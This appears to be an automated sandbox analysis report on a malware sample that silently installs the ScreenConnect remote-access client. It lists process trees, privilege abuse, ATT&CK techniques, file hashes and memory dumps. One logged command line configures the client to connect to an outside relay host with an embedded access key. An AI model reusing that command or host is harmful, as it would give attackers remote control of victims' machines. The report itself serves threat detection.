Token: SeAuditPrivilege	3924	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3924	msiexec.exe
Token: SeChangeNotifyPrivilege	3924	msiexec.exe
Token: SeRemoteShutdownPrivilege	3924	msiexec.exe
Token: SeUndockPrivilege	3924	msiexec.exe
Token: SeSyncAgentPrivilege	3924	msiexec.exe
Token: SeEnableDelegationPrivilege	3924	msiexec.exe
Token: SeManageVolumePrivilege	3924	msiexec.exe
Token: SeImpersonatePrivilege	3924	msiexec.exe
Token: SeCreateGlobalPrivilege	3924	msiexec.exe
Token: SeCreateTokenPrivilege	3924	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3924	msiexec.exe
Token: SeLockMemoryPrivilege	3924	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3924	msiexec.exe
Token: SeMachineAccountPrivilege	3924	msiexec.exe
Token: SeTcbPrivilege	3924	msiexec.exe
Token: SeSecurityPrivilege	3924	msiexec.exe
Token: SeTakeOwnershipPrivilege	3924	msiexec.exe
Token: SeLoadDriverPrivilege	3924	msiexec.exe
Token: SeSystemProfilePrivilege	3924	msiexec.exe
Token: SeSystemtimePrivilege	3924	msiexec.exe
Token: SeProfSingleProcessPrivilege	3924	msiexec.exe
Token: SeIncBasePriorityPrivilege	3924	msiexec.exe
Token: SeCreatePagefilePrivilege	3924	msiexec.exe
Token: SeCreatePermanentPrivilege	3924	msiexec.exe
Token: SeBackupPrivilege	3924	msiexec.exe
Token: SeRestorePrivilege	3924	msiexec.exe
Token: SeShutdownPrivilege	3924	msiexec.exe
Token: SeDebugPrivilege	3924	msiexec.exe
Token: SeAuditPrivilege	3924	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3924	msiexec.exe
Token: SeChangeNotifyPrivilege	3924	msiexec.exe
Token: SeRemoteShutdownPrivilege	3924	msiexec.exe
Token: SeUndockPrivilege	3924	msiexec.exe
Token: SeSyncAgentPrivilege	3924	msiexec.exe
Token: SeEnableDelegationPrivilege	3924	msiexec.exe
Token: SeManageVolumePrivilege	3924	msiexec.exe
Token: SeImpersonatePrivilege	3924	msiexec.exe
Token: SeCreateGlobalPrivilege	3924	msiexec.exe
Token: SeCreateTokenPrivilege	3924	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3924	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3924	msiexec.exe
3924	msiexec.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3924	msiexec.exe
2768	msiexec.exe
5756	MsiExec.exe
1716	MsiExec.exe
5424	MsiExec.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4308 wrote to memory of 3924	4308	2026-10-30_870306c6786af979f664b374f8b37e0f_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe	89
PID 2768 wrote to memory of 5756	2768	msiexec.exe	91
PID 5756 wrote to memory of 2212	5756	MsiExec.exe	92
PID 2768 wrote to memory of 4576	2768	msiexec.exe	97
PID 2768 wrote to memory of 1716	2768	msiexec.exe	99
PID 2768 wrote to memory of 5424	2768	msiexec.exe	100
PID 4716 wrote to memory of 5056	4716	ScreenConnect.ClientService.exe	102
PID 4716 wrote to memory of 3840	4716	ScreenConnect.ClientService.exe	103

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-10-30_870306c6786af979f664b374f8b37e0f_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-30_870306c6786af979f664b374f8b37e0f_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4308
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.17.9294\4205d3d2c4079896\ScreenConnect.ClientSetup.msi"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:3924

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 194D3E04E6007D23816729CBF7951314 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5756
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIDF8D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240705546 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2212
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:4576
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 75AC76BD1CA9197459C2B2C73DE7A3FB
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1716
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D0B9473F1F5F36CF1D7A3C37990C8BDB E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5424

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:4056

C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=midnightdynastyforge.com&p=8041&s=2ecd0cec-ff94-474b-8df8-8a985fcb7079&k=BgIAAACkAABSU0ExAAgAAAEAAQDhh3hMHHs%2fAiaMB%2bjLJtiYAASbFBksZ8b3lNtAVk3h%2fw7Ecfly2wWL3eiZiqyZLwry1l1P%2fxowaDjBKGMMxujSCGqoLk5sYox6ZO%2fPEzbYwNRU0WNuM2R3LWvdWTqp6tHkBQW6Hesfstwvc5o8C9eS1zl6AyYTm75VLGegyxS8gj%2b0Ku9x0PeQ0opuun8p814nADXFBqFSFb6FJ8AWlDSRzShN59l1V7ouVh%2fm0IYadySrmtDT4RoDCZRhs1CfuLW5XS3xznUs2Nalwcd9ZbdF3LpGSXOVp%2bu95l2%2b56M90PdSeQ2P%2bZHP48Hf6x0OJzY6cQUyGb4BKgA13pT9MFPF&c=10%2f26&c=&c=&c=&c=&c=&c=&c="
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4716
- C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe" "RunRole" "f931c02c-eda6-48fb-9439-127a2e22393e" "User"
  2⤵
  - Executes dropped EXE
  PID:5056
- C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe" "RunRole" "08a4ace9-2d9b-4848-af39-14860af3fa1e" "System"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:3840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e592523.rbs

Path C:\Config.Msi\e592523.rbs
Size 214KB
SHA256 ecce7fef9ca4268a70b94d4244278f6533ca7b4b176ed3486e765cfc4a6e1d65
MD5 0367581e90e5a336ce928c46fb2ff0a8
SHA1 93f1a282a1af2ca1f9e0343e8d6a0656c3e4b8f8
SHA512 e77c86298bea9984d7904fd31fdb260e1261741f701e4130e8a9be54e36a1c724f6858365c60dd9387c527963ce49a62735eebf33c252c4698b97e85f360e743
SSDEEP 3072:IN9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGM:INuH2aCGw1ST1wQLdqvM
TLSH
T14C248C227480807EE7FA1A32D93F9661BE7DF6241760C99E83C48C1E5D604C16BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.Override.en-US.resources
Size 357B
SHA256 c295da3fb72259d9aa0f48b946d91094e77e76d566715d776d79a8f15b90a2ec
MD5 159cbfac11c6dfb2e1640c656af13ef4
SHA1 085c6270160d2341d7cbc8f267962eb3f1251f26
SHA512 c385dec07acfbf58b0a9008009b4b783ecb85f8aefe321165a1162ef38aa0cd3a7f2cdf2641ac8a54ea64c5c8fdbb46a7fe945ac1b4c80abdadfb7a7752e3979
TLSH
T1F5E0C022735C2079C5B2163B2A6730C1153FE51E9320946CB894101C0FB3B0B4FC0B32
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.Override.resources
Size 8KB
SHA256 911e0f6b220e4e70bc9471a6b1d8d5abdc00562db5620fcb87402a4f87098714
MD5 9ae987f503ce05d682c988d4a47c0f54
SHA1 635de246c2a8e02cb233add97f81f1d25b29a0fd
SHA512 d9560235bb041acb3d0a381fc9916c37a869463ac3677ebcaa6596dd1b5e23f5f85c3b32c12cb0f2be7737d155b81daaf3714d59255d63610ff9d79491b948e6
SSDEEP 192:riMrwWsnyXBtn3tbu9AQrKLbJ8t6kvTjvy5qwRqcVN:rdEfyXB5WMbJI6yVnwN
TLSH
T14E028D52B69CDEA5E9A2D7F36CE7315806733FC6DDBC0A902985C84B094148B1AF1B36
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.en-US.resources
Size 48KB
SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
MD5 d524e8e6fd04b097f0401b2b668db303
SHA1 9486f89ce4968e03f6dcd082aa2e4c05aef46fcc
SHA512 e5bc6b876affeb252b198feb8d213359ed3247e32c1f4bfc2c5419085cf74fe7571a51cad4eaaab8a44f1421f7ca87af97c9b054bdb83f5a28fa9a880d4efde5
SSDEEP 1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
TLSH
T13D331D1277FD0A18F5F36F45BE7A94619937BC6A2E25C06F1028855E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.resources
Size 26KB
SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
MD5 5cd580b22da0c33ec6730b10a6c74932
SHA1 0b6bded7936178d80841b289769c6ff0c8eead2d
SHA512 c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787
SSDEEP 384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
TLSH
T10BC2D0CA33BDED98E77E63BB7DE840701737BB017D6192126C060411613528AAEA8F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.Client.dll
Size 192KB
SHA256 01def7a76dc5fb683bddfa6d21ceb9dcea27ca506ec5a9d696cc00df1b57e5de
MD5 73756a67ad8fce006e6c97caa7af78ac
SHA1 1528d3a787695c0e8e2d4d8d873a3adf4f2eaf17
SHA512 dc8570a641fdb7164049fc5ab3a1c6c2e8e56e3ef5e58074cf4a8da34f5b42c7c9c0143bc52c70d193a1922a9ad04b4d4a68e003c634c67f6e2c04a674b27d37
SSDEEP 3072:QxLtNGTlIyS7/OPjusqVFJRJcyzvdqSmzDvJXYV:atNGTGySaPqPJY2qSmG
TLSH
T1BB144B8633A94E36DA9F5D73B46060358AB5ED066023E3EE5E04F9F61A733408E553E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.dll
Size 66KB
SHA256 0b84a84869544dd0f7a1181b6af01090c8217bb3920eac737960aa12066bbbd5
MD5 b536bb1762db1a06df7bdd8108d00253
SHA1 38976fc4c4a07c0880e52e349f2461d58b1fbd22
SHA512 568c1180e05308346f9b516339e357e1d87da91bf96d00edad425ccd42d8b204cf2dee7676c4bed7f8f8b36ddfff8f482e742dc2bc4c9d030bcd0d972961efdd
SSDEEP 1536:3A0ZscQ5V6TsQqoSDih6+39QFVIl1rJhb8gg:w0Zy3oUOQFVQrJg
TLSH
T18A634A45A3E95E77C9DF5F7CB865B1410FB08A02E462FB989CC968D71A537C12E003AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.exe
Size 83KB
SHA256 abae1a0dcc81c875f0639ac63149e2f74a32766eed2bf1405e979f02ed68bb5b
MD5 0e75e9419736c9c884cebdc1f5a6be68
SHA1 ca5eb132bae7b43b0e16009d447c4d5e0ffde9cf
SHA512 25c53c24745736f282d9a6b6dcecfcc3e5ae63f29e05b247f2e94f02d8d55eda32c27251dc9c045287f12225b69f71d719b13936563b18b80633f0f6c38766cc
SSDEEP 1536:og1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgUT0HM:hhbNDxZGXfdHrX7rAc6myJkgUT0H
TLSH
T1B0834A13B5C284B2E572193148B1DAA49A3FFD215E21DEAB3798072E4F341C1AE35E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsAuthenticationPackage.dll

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsAuthenticationPackage.dll
Size 254KB
SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
MD5 5adcb5ae1a1690be69fd22bdf3c2db60
SHA1 09a802b06a4387b0f13bf2cda84f53ca5bdc3785
SHA512 812be742f26d0c42fdde20ab4a02f1b47389f8d1acaa6a5bb3409ba27c64be444ac06d4129981b48fa02d4c06b526cb5006219541b0786f8f37cf2a183a18a73
SSDEEP 3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
TLSH
T1C5448E15B7A40CB4EC77823888535A06E776BC160760E6CF03E0825ADF6F7D1A63E762
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe
Size 578KB
SHA256 86584d9b54fe52794455df1793a0eb7caeb2d0407984ebf433b0afc3ddddb8e8
MD5 5476ec32d2c26ca434399338b5ae08ab
SHA1 8c14803273d32088596386e8bfa3ee4d4c01a9fb
SHA512 bfbf1de1fcd8877277d4be1c47313388219d1a041b583e6a76fa0a244ff28781812ccdfdcbb20627d962dc9f6c4aa7f401d2a76ad496a64ae16f0c45e46dc42b
SSDEEP 6144:uybAk1FVMVTZL/4TvqpU0pSdRW3akod1sI5mgve8mZXuVFtSc4q2/R4IEyxuV5AS:BbAOwJ/MvIFptJoR5Nmt2FsxsF
TLSH
T110C46D2677B8DB6BC9EF073AB0B15E2457B0E8036686D78E48A4B5D90DC738149093F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsCredentialProvider.dll

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsCredentialProvider.dll
Size 822KB
SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
MD5 be74ab7a848a2450a06de33d3026f59e
SHA1 21568dcb44df019f9faf049d6676a829323c601e
SHA512 2643d649a642220ceee121038fe24ea0b86305ed8232a7e5440dffc78270e2bda578a619a76c5bb5a5a6fe3d9093e29817c5df6c5dd7a8fbc2832f87aa21f0cc
SSDEEP 12288:q9vy8YABMuiAoPyEIrJs7jBjaau+EAaMVtw:P8Y4MuiAoPyZrJ8jrvDVtw
TLSH
T10C055C1BE79840B9D0ADC2B5D31B9636BBB6F4864514B68F07D40A227E2FF50AF1C394
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.config

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\app.config
Size 2KB
SHA256 15cddbf50ca1b23951048857088ac35d5fbbee6bfc9523676152cf42e291cc95
MD5 5556cab5fcc902df0ab1d873b4c86e6a
SHA1 a8dca7f01984b86dd0d73d4d9bbb629a71f42960
SHA512 c50d88df2599bb636c9c2f888958a682266527c33da2cc0355f8135db04e5440dd85da9a66f53f2ae3eb086e6013c92eb626c0bbebcd13dcd1f34df731e444ce
TLSH
T13E41721CB5C0AF9915726635E73112D1EC6049335266B0E078DE32679F70EDA4BF32EA
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\system.config
Size 950B
SHA256 375e73af0d50a22a0eba7a45aad62c1b8bb1cd91f91711f4cef33691e20a9a37
MD5 4e59f7cb8fe113d1741eaf71ac4d1215
SHA1 c7637362ce6e843e78ccfa554704e4fbf592b3c8
SHA512 d08829d7e17434a87c7b2af51be781935c3e56ec1dd758adc09c4a88bd27b1633beb9ac4be8f48828e7825d1614ff267dda6a66e4ab0a9489eb9cfa1a3602fa2
TLSH
T19711449336C49C9347B36E31C525C714FEB252872114009C79AF523E9B7294713F326E
MD5 SHA1 SHA512 TLSH

Submit Download

MSIDF8D.tmp

Path C:\Users\Admin\AppData\Local\Temp\MSIDF8D.tmp
Size 1.0MB
SHA256 a79b23c1e3d288240b3e236e4e45e77a57f55ad1120c773b8c4532011951ef94
MD5 01e10442fd4b8dd5acc0c74678a2a8cb
SHA1 888e38bf51392717efe2dff406bb2c5c94cce4a6
SHA512 afaf7f62d9557ad889b697412a495d4893814b4019eabf4f01a0e22a15c80d2a12ccba4d9d71cda09d1e0d66f88f2d04b34fbd6a14b68429768ac43ae37cecba
SSDEEP 24576:4UUGGSshf936IGR1Wb01qk9DsJh3eIRlotAkCxmyYL0Pfvs9jB8N53nB3j:bGSsL35GR1hGh3eIRl+APmyYIfUP8N55
TLSH
T16B3523107AE8813BE1CA2E345D3466E6877D79226D34576E274E1E1C6EF1B40CB783A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIDF8D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIDF8D.tmp-\ScreenConnect.Core.dll
Size 536KB
SHA256 a6af16448d84cbe345ac145b6b526c55610890e4152d0f1f215bb2d638b1b546
MD5 780443d23d662b2fc0c27b7312b78304
SHA1 4e17d5c2bb6687c4146ca28b72d92663b5e6e181
SHA512 ed46265b36d83eaa352d794573d88eacacad048f6183844a3088271e05c75812e8fd7ea0170c9b801fe5769f32da97a7b320724b5f852fafbb7fbde52de7284c
SSDEEP 12288:pC2YKhQCNc6kVzlNHGHtTH5YCSdySISYz:vhE6ODHJC
TLSH
T13BC47E2173AC9A2EC56E033FE032915DC6F0E909351AE79F2AC5E5BC2EC37455E112E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIDF8D.tmp-\ScreenConnect.InstallerActions.dll
Size 11KB
SHA256 d75b9eaba6d347e66a9b1d430e47a8473220e972494cca6e0b101fcd235b6784
MD5 6d698a42459f11673e6b85683332757c
SHA1 bad3fefac6b6358d38c2198c074727de88efb724
SHA512 d65d1c20b00412d413867f68d42bd8a9f1c855767d03f8785fe125e78ebce6bff9a230f1921257a4ccaf635da2ab07a7cf9592294550f07ddca6197288bc3853
SSDEEP 192:6q8/Qp6lCJuV3jFXtyVNamVNG1YZfCrMmbfHJ7kjvLbbuLd9NEFbhS8:6//cBJaBXt2NaheUrMmb/FkjvLbbuZaN
TLSH
T13F32E60077DC673AE8BE0F79DAB362910B71FA64A011DF2E18CC91579C367449EA07A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIDF8D.tmp-\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 d996027907023ae570b25c92874c880db4a81ea5c0fdafb1e34d7abcf72f5a73
MD5 0e8f8d5811ac3244ffb8b322ae19732d
SHA1 8ed66318b6aaa0144db8957b31e3ec95472a093b
SHA512 2231e9551556c47c647c370b0a69b4106fcfa784d1464ccc6877f772febd26384f020e598d2ee732f73136f48458b6f049d5516b996be30dbe9f3c19d7a728fe
SSDEEP 24576:Rx5x9gkrFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:Rx5x6krJkGYYpT0+TFiH7efP
TLSH
T19485BD41E2C365F5D46B047888BF572ABA743C080315CAFB97D4AE3A6D33BC09A36756
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientSetup.msi

Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.17.9294\4205d3d2c4079896\ScreenConnect.ClientSetup.msi
Size 12.6MB
SHA256 d009e63ba0a73143124d345bd91c6691b3e41a18de3c1f608fc673918fc8ba1a
MD5 99ac9b49d5ef5f9c760798405e602c61
SHA1 6e1d6b4a5654c0365ed87e397072acf2790b8eb6
SHA512 ff512c083afc2dc2c1ae0177af8e9e8f9c38f97bfcc070eb8139eb60668c50c194f49bb94416a54594f3bc951b523542c094921444fe150e796272bfd350a25c
SSDEEP 393216:v99GjxSui99GjxA99Gjx899GjxT99GjxS99Gjxl99Gjxm:v9WFi9WA9W89WT9WS9Wl9Wm
TLSH
T1CED6231127E80A2EF5BA5B39ED3251F5697A7C419B12C1AF2324780D2D72E40D9B37B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI2A92.tmp

Path C:\Windows\Installer\MSI2A92.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 ba221d42b05693b97df172c0cf76058cf2ef9d14b005ef452f7e007cce69252d
MD5 ab64a717d9710693524bb4989b753253
SHA1 6103ed97d8add5be4dae27aac8d8cd673d6b7d54
SHA512 ea7e123a2583ddd7376d04a9cf7d4ca8193ac9725d2a2ffba44253690b09fc9183f93194b13bcb74072ee9f2efb2d2c29ec75953fb30ce08781c1230f711034c
SSDEEP 24576:eFo3DMPSdoO/vvTL/ig//ylAPL+1UrYc0CZNtSxHpKRa5oOvcYh2/mV+buL:RHc
TLSH
T14657A32537F92210E7B79E3CACF0AA2349397D5B9C16DE8D45411B4E0821F71E8B2F66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{3781efc4-7514-41cd-80d2-396f830a8541}_OnDiskSnapshotProp

Path \??\Volume{e70967fa-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{3781efc4-7514-41cd-80d2-396f830a8541}_OnDiskSnapshotProp
Size 6KB
SHA256 6b5edbeab17e87a4f8e4b4ad3aab91bdfdfea917c00e53dee390b898c13a965c
MD5 65b5644130b7a4e5e2a7d42dcc164b2c
SHA1 50c4e95f9e87cb8e605c1fcd78f3e97f303e2d84
SHA512 aa4f0048c57a6731da420b53d6f9bcd30798b0d2dbd201e9c8e68a38d9587872659a2ffae487586b6cd24d648ba3cbcd1c84d53dc1b103b794653397330ce41d
SSDEEP 96:F8LOQvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:yDb++uVm
TLSH
T126D178185AF54711E2B3AB3129F18557A877B911EF33CB8E0198238E6630A14F875F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2212-32-0x0000000005200000-0x000000000522E000-memory.dmp

Download

memory/2212-44-0x0000000005550000-0x00000000056FA000-memory.dmp

Download

memory/2212-40-0x00000000052C0000-0x000000000534C000-memory.dmp

Download

memory/2212-36-0x00000000051F0000-0x00000000051FA000-memory.dmp

Download

memory/3840-138-0x000000001D2D0000-0x000000001D49A000-memory.dmp

Download

memory/4308-0-0x0000000074C22000-0x0000000074C23000-memory.dmp

Download

memory/4308-2-0x00000000057E0000-0x0000000005ACA000-memory.dmp

Download

memory/4308-3-0x0000000005350000-0x00000000053DC000-memory.dmp

Download

memory/4308-1-0x0000000001420000-0x0000000001428000-memory.dmp

Download

memory/4308-7-0x0000000006090000-0x000000000664A000-memory.dmp

Download

memory/4308-13-0x0000000074C10000-0x00000000753CC000-memory.dmp

Download

memory/4308-10-0x0000000074C10000-0x00000000753CC000-memory.dmp

Download

memory/4308-9-0x0000000074C10000-0x00000000753CC000-memory.dmp

Download

memory/4308-8-0x0000000074C10000-0x00000000753CC000-memory.dmp

Download

memory/4308-4-0x0000000074C10000-0x00000000753CC000-memory.dmp

Download

memory/4308-5-0x0000000002D60000-0x0000000002D82000-memory.dmp

Download

memory/4308-6-0x00000000054E0000-0x000000000568A000-memory.dmp

Download

